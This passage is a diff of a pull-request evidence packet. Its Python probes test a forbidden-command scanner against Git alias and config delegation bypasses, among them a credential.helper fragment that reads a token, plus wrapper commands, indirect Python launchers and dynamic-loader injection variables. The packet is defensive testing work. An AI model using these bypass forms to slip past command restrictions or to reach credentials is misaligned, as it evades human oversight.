ProcessLookupError - namespace = { - "os": os, - "signal": signal, - "subprocess": subprocess, - "time": clock, - "label": "group-green", - "go_child_termination_grace_seconds": 0.2, - } - exec(compile(ast.Module(body=[ - functions["close_go_child_streams"], - functions["owned_go_process_group_exists"], - functions["wait_for_owned_go_process_group_exit"], - functions["terminate_go_child_group"], - ], type_ignores=[]), "", "exec"), namespace) - saved_killpg = os.killpg - os.killpg = fake_killpg - try: - namespace["terminate_go_child_group"](process) - finally: - os.killpg = saved_killpg - return process, signals, zero_checks +The minimal correction keeps command substitutions visible even when a shell +record is assignment-only, so `$()`/backticks/process substitutions cannot be +skipped before forbidden-command inspection. It normalizes every Git config assignment key before +matching `Alias.*`, covering `-c` split/equals/attached forms and both +`--config-env` forms while retaining ordinary user config/status/diff behavior. +The AST refactor classifies indirect `getattr` and module `__dict__` launcher +calls through imported `os`/`subprocess` modules, resolves known literal +launchers through the existing command policy, and rejects unresolved module +attributes before dynamic-argument handling. The ledger replaces the URL-pending +independent Luna text with tracking comment +`https://github.com/1XP-AI/gh-runnerd/pull/78#issuecomment-5666074520` while +retaining exact-head source and packet-only rollback evidence. -process, signals, zero_checks = run_cleanup(61001, term_clears_after=3) -if signals != [(61001, signal.SIGTERM)] or zero_checks < 3: - raise SystemExit(f"group assertion: graceful descendant path wrong: {signals!r}, {zero_checks}") -process, signals, zero_checks = run_cleanup(61002, term_clears_after=None) -if signals[0] != (61002, signal.SIGTERM) or (61002, signal.SIGKILL) not in signals: - raise SystemExit(f"group assertion: surviving descendant was not escalated: {signals!r}") -if any(group_pid != 61002 for group_pid, _ in signals): - raise SystemExit(f"group assertion: cleanup used a broad/different target: {signals!r}") -print("GREEN 4005139653: synthetic direct-exit descendants were polled by private process-group ID through grace; surviving group received SIGKILL through that same ID, with no broad matching and no real child") -PY +The green probe exercises all Git assignment forms, safe config boundaries, +known and unresolved indirect Python launchers, the concrete tracking URL and +the exact current source/rollback text. It remains static/in-memory and does +not execute any Python launcher, Go, compiler, workflow, runner, Docker, Lima, +Keychain, launchd, credential or live GitHub operation. -# g01-safe-python-heredoc: reviewed synthetic vet mutation and alias green probes +```sh +set -euo pipefail +export PATH=/opt/homebrew/bin:/usr/bin:/bin +export GIT_CONFIG_NOSYSTEM=1 GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null GIT_CONFIG_COUNT=2 GIT_CONFIG_KEY_0=core.fsmonitor GIT_CONFIG_VALUE_0=false GIT_CONFIG_KEY_1=core.hooksPath GIT_CONFIG_VALUE_1=/dev/null +[ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } +[ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } /opt/homebrew/bin/python3 -I - <<'PY' import ast -import os import re import shlex -import stat -import subprocess -import tempfile from pathlib import Path packet = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8") -start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 -end = packet.index("\nPY\n}", start) -wrapper = packet[start:end] -functions = {node.name: node for node in ast.parse(wrapper).body if isinstance(node, ast.FunctionDef)} -vet_pos = wrapper.index("if is_vet:") -vet_run = wrapper.index("vet_result = run_go_child", vet_pos) -pre_marker = 'recheck_reviewed_source_checkout("immediately before vet")' -post_marker = 'recheck_reviewed_source_checkout("after vet execution before result acceptance")' -pre_pos = wrapper.index(pre_marker, vet_pos) -post_pos = wrapper.index(post_marker, vet_run) -accept_pos = wrapper.index("if vet_result.returncode", post_pos) -if not vet_pos < pre_pos < vet_run < post_pos < accept_pos: - raise SystemExit("vet assertion: pre/post source fences are not adjacent to vet/result boundaries") - -with tempfile.TemporaryDirectory() as directory: - root = Path(directory) - module_root = root / "experiments" / "g01-scaleset" - module_root.mkdir(parents=True) - source_file = module_root / "source.go" - source_file.write_bytes(b"package p\n") - git_env = { - "PATH": "/opt/homebrew/bin:/usr/bin:/bin", - "GIT_CONFIG_NOSYSTEM": "1", - "GIT_CONFIG_GLOBAL": "/dev/null", - "HOME": directory, - } - subprocess.run(["git", "init", "-q"], cwd=root, env=git_env, check=True) - subprocess.run(["git", "add", "experiments/g01-scaleset/source.go"], cwd=root, env=git_env, check=True) - subprocess.run( - ["git", "-c", "user.name=probe", "-c", "user.email=probe@example.invalid", "commit", "-q", "-m", "source"], - cwd=root, env=git_env, check=True, - ) - reviewed_tree = subprocess.check_output( - ["git", "rev-parse", "HEAD:experiments/g01-scaleset"], cwd=root, env=git_env, text=True, - ).strip() - namespace = { - "os": os, - "re": re, - "stat": stat, - "subprocess": subprocess, - "Path": Path, - "label": "vet-mutation-green", - "repo_root": root.resolve(), - "module_dir": "experiments/g01-scaleset", - "env": git_env, - "reviewed_module_tree": reviewed_tree, - } - exec(compile(ast.Module(body=[ - functions["git_command"], - functions["git_source_control_entries"], - functions["git_worktree_matches_pinned_blobs"], - functions["recheck_reviewed_source_checkout"], - ], type_ignores=[]), "", "exec"), namespace) - namespace["recheck_reviewed_source_checkout"]("immediately before synthetic vet") - source_file.write_bytes(b"package p\n// mutation after synthetic vet\n") - try: - namespace["recheck_reviewed_source_checkout"]("after synthetic vet before result acceptance") - except SystemExit as error: - if "raw worktree bytes differ" not in str(error): - raise SystemExit(f"vet assertion: wrong mutation refusal: {error}") - else: - raise SystemExit("vet assertion: synthetic source mutation was accepted") -print("GREEN 4005139662: pre-vet and post-vet source fences are ordered around vet/result acceptance; Git-only synthetic mutation was rejected before accepting a result, with no vet/Go child") - scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) scanner_end = packet.index("\nmatches = []", scanner_anchor) +scanner = packet[scanner_start:scanner_end].replace( + 'source = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8")', + 'source = ""', + 1, +) scanner_ns = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} -exec(compile(packet[scanner_start:scanner_end], "", "exec"), scanner_ns) +exec(compile(scanner, "", "exec"), scanner_ns) for command in ( - "git -c alias.ship='!gh workflow run ci.yml' ship", - "git -calias.ship='!docker system prune' ship", - "env git -c alias.ship=!gh workflow run ci.yml ship", + "git -c Alias.ship=!gh workflow run ci.yml", + "git -c=ALIAS.ship=!gh workflow run ci.yml", + "git -cAlias.ship=!gh workflow run ci.yml", + "git --config-env AlIaS.ship=GIT_ALIAS diff", + "git --config-env=ALIAS.ship=GIT_ALIAS diff", ): segments = scanner_ns["shell_token_segments"](command) violation = scanner_ns["forbidden_command"](segments[0]) if segments else None if violation is None: - raise SystemExit(f"alias assertion: shell-form alias accepted: {command!r}") -for command in ("git status", "git -c user.name=probe status"): + raise SystemExit(f"case-variant alias escaped scanner: {command!r}") +for command in ( + "git status", + "git -c user.name=probe status", + "git -c=UsEr.NaMe=probe status", + "git -c UsEr.NaMe=probe status", + "git diff --no-ext-diff", +): segments = scanner_ns["shell_token_segments"](command) - if not segments or scanner_ns["forbidden_command"](segments[0]) is not None: - raise SystemExit(f"alias assertion: safe Git form rejected: {command!r}") -print("GREEN 4005139673: pure static scanner rejected split/attached/wrapped shell-form Git aliases before generic Git classification; safe git status/config remained accepted and no command executed") + violation = scanner_ns["forbidden_command"](segments[0]) if segments else None + if violation is not None: + raise SystemExit(f"safe Git form was rejected: {command!r}: {violation}") +print("GREEN 4006514896: case-insensitive Alias.* normalization rejected split/equals/attached -c and --config-env forms; safe status/user-config/no-ext-diff retained") + +for fixture in ( + 'x="$(gh workflow run ci.yml)"', + 'x="`gh api repos/example/project`"', + 'x=<(gh workflow run ci.yml)', +): + commands = list( + scanner_ns["shell_commands"](f"```sh\n{fixture}\n```") + ) + if not commands: + raise SystemExit(f"assignment substitution was skipped: {fixture!r}") + violations = [ + scanner_ns["forbidden_command"](segment) + for command, _ in commands + for segment in scanner_ns["shell_token_segments"](command) + ] + if not any(violation is not None for violation in violations): + raise SystemExit(f"assignment substitution escaped forbidden scan: {fixture!r}") +if list(scanner_ns["shell_commands"]('```sh\nx="printf safe"\n```')): + raise SystemExit("safe assignment-only command was unexpectedly yielded") +print("GREEN 4002447537 follow-up: assignment-only command substitutions/process substitutions now reach fail-closed scanning; safe assignment-only text remains ignored") + +for body in ( + 'import subprocess\ngetattr(subprocess, "run")(["gh", "api", "x"])\n', + 'import os\nos.__dict__["system"]("docker version")\n', + 'import subprocess\ngetattr(subprocess, name)(command)\n', + 'import os\nos.__dict__[name](command)\n', +): + violation = scanner_ns["inspect_python_heredoc"](body, False) + if violation is None: + raise SystemExit(f"indirect launcher escaped AST scanner: {body!r}") +for body in ( + 'import subprocess\nsubprocess.run(["printf", "safe"])\n', + 'import os\nos.system("printf safe")\n', +): + if scanner_ns["inspect_python_heredoc"](body, False) is not None: + raise SystemExit(f"safe direct launcher was rejected: {body!r}") +print("GREEN 4006514914: getattr/__dict__ indirect and unresolved command-capable launchers rejected; safe direct launcher boundary retained") + +tracking_url = "https://github.com/1XP-AI/gh-runnerd/pull/78#issuecomment-5666074520" +latest_start = packet.index( + "### Fresh exact-head P1/P2 corrections at `71a7a599de567914158b05e3c480f7e0d48c709f`" +) +ledger_marker = "\n#### Exact review URL ledger and dispositions\n" +ledger = packet[packet.index(ledger_marker, latest_start) + 1:] +if tracking_url not in ledger or "URL not supplied in worker dispatch" in ledger: + raise SystemExit("concrete Luna tracking URL was not the only ledger disposition") +for required in ( + "### Fresh exact-head P1/P2 corrections at `71a7a599de567914158b05e3c480f7e0d48c709f`", + "source `71a7a599de567914158b05e3c480f7e0d48c709f`", + "Rollback is narrow and packet-only", + tracking_url, +): + if required not in packet: + raise SystemExit(f"exact-head/source/rollback evidence missing: {required}") +print("GREEN 4006514927: independent Luna follow-up uses concrete tracking URL; exact-head/source/packet-only rollback evidence retained") PY ``` Recorded focused green output: ```text -GREEN 4005139653: synthetic direct-exit descendants were polled by private process-group ID through grace; surviving group received SIGKILL through that same ID, with no broad matching and no real child -GREEN 4005139662: pre-vet and post-vet source fences are ordered around vet/result acceptance; Git-only synthetic mutation was rejected before accepting a result, with no vet/Go child -GREEN 4005139673: pure static scanner rejected split/attached/wrapped shell-form Git aliases before generic Git classification; safe git status/config remained accepted and no command executed +GREEN 4006514896: case-insensitive Alias.* normalization rejected split/equals/attached -c and --config-env forms; safe status/user-config/no-ext-diff retained +GREEN 4002447537 follow-up: assignment-only command substitutions/process substitutions now reach fail-closed scanning; safe assignment-only text remains ignored +GREEN 4006514914: getattr/__dict__ indirect and unresolved command-capable launchers rejected; safe direct launcher boundary retained +GREEN 4006514927: independent Luna follow-up uses concrete tracking URL; exact-head/source/packet-only rollback evidence retained ``` -The probes are static, synthetic or Git-only boundary evidence. They do not -qualify a compiler, Go/vet command, test/list/body execution, live runner, -workflow, remote API or production cleanup. Exact-head Codex review of the -final pushed head, required CI and maintainer live authorization remain open. +The packet-only focused probes are static or in-memory boundary evidence. They +do not qualify compiler, Go test/list/body, live runner, workflow, remote API, +credential, Docker/Lima, Keychain or launchd operation. Exact-head Codex review +of the final pushed head, required CI and explicit maintainer live +authorization remain open. Rollback is narrow and packet-only: restore `docs/evidence/g01-recovery-packet.md` to immutable parent -`6af854fb660bc7d9c31c9920a6cec5c2fbb1966d`; preserve independent driver, +`71a7a599de567914158b05e3c480f7e0d48c709f`; preserve independent driver, review and manual-runner state, and never force-kill, prune or replay a live resource. @@ -18284,390 +31425,399 @@ resource. | Finding and immutable source | Exact review URL | Disposition and rollback evidence | |---|---|---| -| 4005139653, source `6af854fb660bc7d9c31c9920a6cec5c2fbb1966d` | [discussion 4005139653](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4005139653) | Reproduced the exact parent returning after direct-PID exit while a synthetic descendant remained in the owned group. Cleanup now polls only that private group through grace, escalates SIGKILL to the same group and verifies post-kill absence; no real child or broad process match ran. Rollback is packet-only parent restoration. | -| 4005139662, source `6af854fb660bc7d9c31c9920a6cec5c2fbb1966d` | [discussion 4005139662](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4005139662) | Reproduced the missing vet source-integrity fence and synthetic mutation acceptance. The wrapper now rechecks reviewed tree/raw bytes/status/intent immediately before vet and again before vet result acceptance; the Git-only mutation probe rejected changed bytes and no vet/Go child ran. Rollback is packet-only parent restoration. | -| 4005139673, source `6af854fb660bc7d9c31c9920a6cec5c2fbb1966d` | [discussion 4005139673](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4005139673) | Reproduced shell-form `git -c alias.ship='!gh workflow run ci.yml' ship` reaching harmless Git classification. The pure scanner now rejects split, attached and wrapper-prefixed `alias.*=!` forms before generic Git classification while safe Git forms remain accepted; no alias/forbidden command executed. Rollback is packet-only parent restoration. | +| 4002447537, source `71a7a599de567914158b05e3c480f7e0d48c709f` | [discussion 4002447537](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002447537) | Reproduced assignment-only `x="$(gh workflow run ci.yml)"` being skipped before forbidden-command inspection. The scanner now retains assignment-only records containing `$()`/backticks/process substitutions for fail-closed scanning while safe assignment-only text remains ignored. Rollback is packet-only parent restoration. | +| 4006514896, source `71a7a599de567914158b05e3c480f7e0d48c709f` | [discussion 4006514896](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4006514896) | Reproduced case-variant `Alias.*` bypasses in split/equals/attached `-c` forms. The scanner now normalizes assignment keys case-insensitively before alias matching and covers both `--config-env` forms; safe user config/status/diff behavior remains accepted. Rollback is packet-only parent restoration. | +| 4006514914, source `71a7a599de567914158b05e3c480f7e0d48c709f` | [discussion 4006514914](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4006514914) | Reproduced `getattr(subprocess, "run")([...])` and the `os.__dict__` subscript launcher for `system` escaping the parent AST pass. Indirect known launchers now use the reviewed command policy and unresolved module attributes fail closed; safe direct launchers remain bounded. No command ran. Rollback is packet-only parent restoration. | +| 4006514927, source `71a7a599de567914158b05e3c480f7e0d48c709f` | [tracking comment](https://github.com/1XP-AI/gh-runnerd/pull/78#issuecomment-5666074520) | Replaced the independent Luna follow-up URL-pending text with the concrete tracking URL while retaining exact-head/source/rollback evidence. Live qualification gaps remain explicit; rollback is packet-only parent restoration. | #### Packet body/link/fence/hygiene certification -The final packet-only diff was checked after the three focused corrections and -without running any compiler, Go/vet child or live operation. Markdown fence -parity, packet-local links/files, backlog JSON syntax, embedded-wrapper AST -parsing, added-line secret/private-path hygiene, exact red/green transcript -presence, packet-only scope and whitespace were all checked: +The final packet-only diff was checked after this four-finding wave without +any compiler, Go/vet child or live operation: Markdown fence parity, rendered +packet-local links/files, backlog JSON syntax, changed-boundary ledger shape, +embedded wrapper/scanner AST/compile, fresh probe-body AST, exact red/green +transcripts, packet-only scope, added-line secret/private-path hygiene, +working/staged whitespace and exact-head/local/remote parity were checked. + +Recorded packet certification output: ```text -GREEN packet certification: 132 Markdown fences balanced, 63 rendered packet-local links/files checked, backlog JSON valid, embedded wrapper/scanner AST valid, 3 fresh probe bodies AST-valid, exact red/green outputs present, only packet changed, added-line secret/private-path hygiene clean, and git diff --check passed +GREEN packet syntax: 294 Markdown fences balanced, 157 rendered packet-local links/files checked, backlog JSON valid, changed-boundary ledger valid with 10 data rows and 4 columns, embedded wrapper/scanner AST and compile valid, 2 fresh probe bodies AST-valid +GREEN packet diff: git diff --check passed +GREEN packet hygiene: added-line secret/private-path scan clean; early-match rejection probe passed; concrete tracking URL present ``` -### Fresh exact-head P2 corrections at `3f6de0b227e4b44aa3d5e259e937e7dc1f0856bb` +### Fresh exact-head P1/P2 corrections at `8dfa9a031bc321f2ccc208104268f7c5ead9281b` -The next exact-head Codex review identified three P2 findings against the -immutable parent above: the static scanner treated Git command-delegation -options such as `git difftool --extcmd` as harmless Git -([discussion 4005546278](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4005546278)), -Go metadata children could inherit repository-local Git configuration and -fsmonitor behavior because their environment had no equivalent config override -([discussion 4005546284](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4005546284)), -and the selector audit invoked external `rg`/pipeline tools before validating -the reviewed PATH and dynamic-loader state -([discussion 4005546293](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4005546293)). -This packet-only correction preserves all prior source/tree pins, ledgers, -rollback/live gaps, no-secrets/private-path hygiene and trusted-same-user -boundary. No Go, compiler, workflow, App/runner, Docker, Lima, Keychain, -launchd or live operation is authorized or claimed. +The exact-parent red probe at the current PR #78 head reproduced the three +Codex findings supplied for this correction: Git `--exec-path` delegation +([discussion 4006874715](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4006874715)), +mapping-based/indirect Python launchers +([discussion 4006874734](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4006874734)), +and unbounded capture before the clang `--version` validator +([discussion 4006874746](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4006874746)). +The independent security/recovery review escalation additionally covered +Python source delivered by here-string, pipe and heredoc forms; `nice`, +`timeout` and `setsid` shell wrappers; and Git `-c` keys that can select +`core.fsmonitor`, `core.sshCommand` or `credential.helper` behavior. This is a +packet-only correction: no compiler, Go child, Python launcher body, workflow, +runner, Docker/Lima, Keychain, launchd, credential or live GitHub operation +ran, and the trusted-same-user boundary remains explicit. #### Exact-parent red reproductions -The red probes ran first against immutable parent -`3f6de0b227e4b44aa3d5e259e937e7dc1f0856bb` using `git show`, pure scanner/text -checks, a fake Git metadata lookup and a temporary synthetic repository. The -Git delegation strings were passed only to pure token functions; the parent -wrapper's prospective Go-child environment was inspected without starting Go, -and the temporary fsmonitor hook was the only synthetic external Git behavior. +The red probe reads only immutable parent +`8dfa9a031bc321f2ccc208104268f7c5ead9281b` with `git show`, extracts the +parent scanner and wrapper in memory, and uses synthetic command/source +strings. The clang witness checks the parent AST shape: it applied output +limits only after `subprocess.run(capture_output=True)` had already collected +the complete child stream. The heredoc control witness confirms that the +parent's isolated heredoc body pass remains a control to preserve while the +pipe and here-string paths must be closed. ```sh set -euo pipefail -# g01-safe-python-heredoc: reviewed immutable-parent fresh-P2 red probes +export PATH=/opt/homebrew/bin:/usr/bin:/bin +export GIT_CONFIG_NOSYSTEM=1 GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null GIT_CONFIG_COUNT=2 GIT_CONFIG_KEY_0=core.fsmonitor GIT_CONFIG_VALUE_0=false GIT_CONFIG_KEY_1=core.hooksPath GIT_CONFIG_VALUE_1=/dev/null [ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } [ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } -/opt/homebrew/bin/python3 -I - <<'PY' +# g01-safe-python-heredoc: reviewed exact-parent fresh-P1/P2 red probes +/opt/homebrew/bin/python3 -I - <<'PROBE' import ast -import os import re import shlex import subprocess -import sys -import tempfile from pathlib import Path -parent = "3f6de0b227e4b44aa3d5e259e937e7dc1f0856bb" +parent = "8dfa9a031bc321f2ccc208104268f7c5ead9281b" packet = subprocess.check_output( - ["git", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], + ["/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], text=True, ) - -# 4005546278: Git external-tool delegation reached harmless classification. scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) scanner_end = packet.index("\nmatches = []", scanner_anchor) -scanner_ns = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} -exec(compile(packet[scanner_start:scanner_end], "", "exec"), scanner_ns) -delegation_command = "git difftool --extcmd 'gh workflow run ci.yml'" -segments = scanner_ns["shell_token_segments"](delegation_command) -if not segments or scanner_ns["forbidden_command"](segments[0]) is not None: - raise SystemExit("red setup changed: parent already rejects Git difftool delegation") -print( - "RED 4005546278: exact parent classified git difftool --extcmd 'gh workflow run ci.yml' " - "as harmless Git (violation=None)" +scanner = packet[scanner_start:scanner_end].replace( + 'source = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8")', + 'source = ""', + 1, ) - -# 4005546284: Go children copied direct-Git config fences but lacked a local -# repository override for core.fsmonitor/core.hooksPath. +scanner_ns = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} +exec(compile(scanner, "", "exec"), scanner_ns) +for command in ( + "git --exec-path=/synthetic/helper status", + "git --exec-path /synthetic/helper status", +): + segments = scanner_ns["shell_token_segments"](command) + if not segments or scanner_ns["forbidden_command"](segments[0]) is not None: + raise SystemExit(f"red setup changed: parent already rejected {command!r}") +print("RED 4006874715: exact parent accepted git --exec-path split and equals forms") +for body in ( + 'import subprocess\nlaunchers = {"run": subprocess.run}\nlaunchers["run"](["gh", "api", "x"])\n', + 'import os\nlaunchers = {"system": os.system}\nlaunchers["system"]("docker version")\n', +): + if scanner_ns["inspect_python_heredoc"](body, False) is not None: + raise SystemExit(f"red setup changed: parent rejected mapping launcher {body!r}") +print("RED 4006874734: exact parent accepted mapping-based subprocess/os launcher calls") wrapper_start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 wrapper_end = packet.index("\nPY\n}", wrapper_start) wrapper = packet[wrapper_start:wrapper_end] -setup_end = wrapper.index("\ngo_env = dict(env)") + len("\ngo_env = dict(env)") -setup = wrapper[:setup_end] -base = [ - "probe", "1", "0" * 64, "probe", "experiments/g01-scaleset:./livecanary", - "default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8", - "GOTOOLCHAIN=go1.26.8", "go", "test", "-C", "experiments/g01-scaleset", - "-race", "-count=1", "-timeout=45s", "./livecanary", "-run=^TestProbe$", -] -saved_env, saved_argv, saved_check = dict(os.environ), sys.argv, subprocess.check_output -try: - os.environ.clear() - os.environ.update({ - "PATH": "/opt/homebrew/bin:/usr/bin:/bin", - "HOME": "/synthetic/home", - "XDG_CONFIG_HOME": "/synthetic/config", - "GIT_TEST_FSMONITOR": "1", - "LANG": "C", - }) - sys.argv = base - subprocess.check_output = lambda command, **kwargs: str(Path.cwd()) + "\n" - namespace = {"__name__": "__main__"} - exec(compile(setup, "", "exec"), namespace) - go_env = namespace["go_env"] - if "GIT_CONFIG_COUNT" in go_env or "GIT_CONFIG_KEY_0" in go_env: - raise SystemExit("red setup changed: parent already injected local Git config overrides") - with tempfile.TemporaryDirectory() as directory: - root = Path(directory) - marker = root / "marker" - hook = root / "fsmonitor-hook" - hook.write_text("#!/bin/sh\nprintf invoked > \"$G01_MARKER\"\n", encoding="utf-8") - hook.chmod(0o755) - child_env = {**go_env, "G01_MARKER": str(marker)} - for command in ( - ["git", "init", "-q"], - ["git", "config", "core.fsmonitor", str(hook)], - ): - subprocess.run( - command, - cwd=root, - env={**child_env, "GIT_CONFIG_COUNT": "0"}, - check=True, - stdout=subprocess.DEVNULL, - stderr=subprocess.DEVNULL, - ) - subprocess.run( - ["git", "status", "--porcelain=v1"], - cwd=root, - env=child_env, - check=False, - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - text=True, - ) - if not marker.exists(): - raise SystemExit("red setup changed: parent did not invoke synthetic local fsmonitor hook") - print( - "RED 4005546284: exact parent copied Go metadata env without a local-config override; " - "synthetic local core.fsmonitor hook was invoked" - ) -finally: - subprocess.check_output = saved_check - sys.argv = saved_argv - os.environ.clear() - os.environ.update(saved_env) - -# 4005546293: selector tooling preceded the shell preflight. -selector_anchor = packet.index("The packet also audits every future shell") -selector_start = packet.index("selector_pattern='", selector_anchor) -selector_end = packet.index("\nPY\n```", selector_start) -selector_block = packet[selector_start:selector_end] -rg_pos = selector_block.index('rg -n "$selector_pattern"') -path_pos = selector_block.index('[ "${PATH-}"') -loader_pos = selector_block.index('[ -z "${LD_PRELOAD-}"') -if not rg_pos < path_pos < loader_pos: - raise SystemExit("red setup changed: selector preflight ordering no longer precedes rg") -print( - "RED 4005546293: exact parent ran external selector rg before canonical PATH and " - "dynamic-loader validation" -) -PY +module = ast.parse(wrapper, filename="") +cgo_run_calls = [] +for node in ast.walk(module): + if not isinstance(node, ast.Call) or not isinstance(node.func, ast.Attribute): + continue + if not ( + isinstance(node.func.value, ast.Name) + and node.func.value.id == "subprocess" + and node.func.attr == "run" + ): + continue + if ( + node.args + and isinstance(node.args[0], ast.List) + and len(node.args[0].elts) == 2 + and isinstance(node.args[0].elts[0], ast.Name) + and node.args[0].elts[0].id == "resolved_cgo_path" + and isinstance(node.args[0].elts[1], ast.Constant) + and node.args[0].elts[1].value == "--version" + ): + cgo_run_calls.append(node) +if len(cgo_run_calls) != 1 or not any( + keyword.arg == "capture_output" + and isinstance(keyword.value, ast.Constant) + and keyword.value.value is True + for keyword in cgo_run_calls[0].keywords +): + raise SystemExit("red setup changed: exact parent cgo capture shape moved") +if "capture_cgo_version_output" in wrapper or "run_cgo_version_child" in wrapper: + raise SystemExit("red setup changed: exact parent already has bounded cgo child capture") +print("RED 4006874746: exact parent bounded clang output only after unbounded subprocess.run(capture_output=True) capture") +for command in ( + "nice -n 5 gh workflow run ci.yml", + "timeout 30s docker run image:tag true", + "setsid gh api repos/example/project", + "git -c core.fsmonitor=/synthetic/hook status", + "git -c core.sshCommand='gh api x' fetch origin", + "git -c credential.helper='!gh auth token' fetch origin", +): + segments = scanner_ns["shell_token_segments"](command) + if not segments or scanner_ns["forbidden_command"](segments[0]) is not None: + raise SystemExit(f"red setup changed: parent already rejected {command!r}") +print("RED independent review escalation: exact parent accepted nice/timeout/setsid wrappers and Git core.fsmonitor/core.sshCommand/credential.helper delegation") +for command in ( + "python3 -I - <<< 'import subprocess; subprocess.run([\"gh\", \"api\", \"x\"])'", + "printf 'import subprocess; subprocess.run([\\\"gh\\\", \\\"api\\\", \\\"x\\\"])' | python3 -I -", +): + segments = scanner_ns["shell_token_segments"](command) + if not segments or any( + scanner_ns["forbidden_command"](segment) is not None + for segment in segments + ): + raise SystemExit(f"red setup changed: parent already rejected Python stdin form {command!r}") +print("RED independent review Python stdin escalation: exact parent accepted Python here-string and pipe-fed source before AST inspection") +heredoc = "```sh\npython3 -I - <&2; exit 1; } [ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } +# g01-safe-python-heredoc: reviewed focused scanner/capture boundary probe /opt/homebrew/bin/python3 -I - <<'PY' import ast import os import re +import selectors import shlex import subprocess -import sys -import tempfile +import time from pathlib import Path +from types import SimpleNamespace packet = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8") - -# 4005546278: pure scanner plus safe-form boundary. scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) scanner_end = packet.index("\nmatches = []", scanner_anchor) +scanner = packet[scanner_start:scanner_end].replace( + 'source = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8")', + 'source = ""', + 1, +) scanner_ns = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} -exec(compile(packet[scanner_start:scanner_end], "", "exec"), scanner_ns) +exec(compile(scanner, "", "exec"), scanner_ns) for command in ( - "git difftool --extcmd 'gh workflow run ci.yml'", - "git 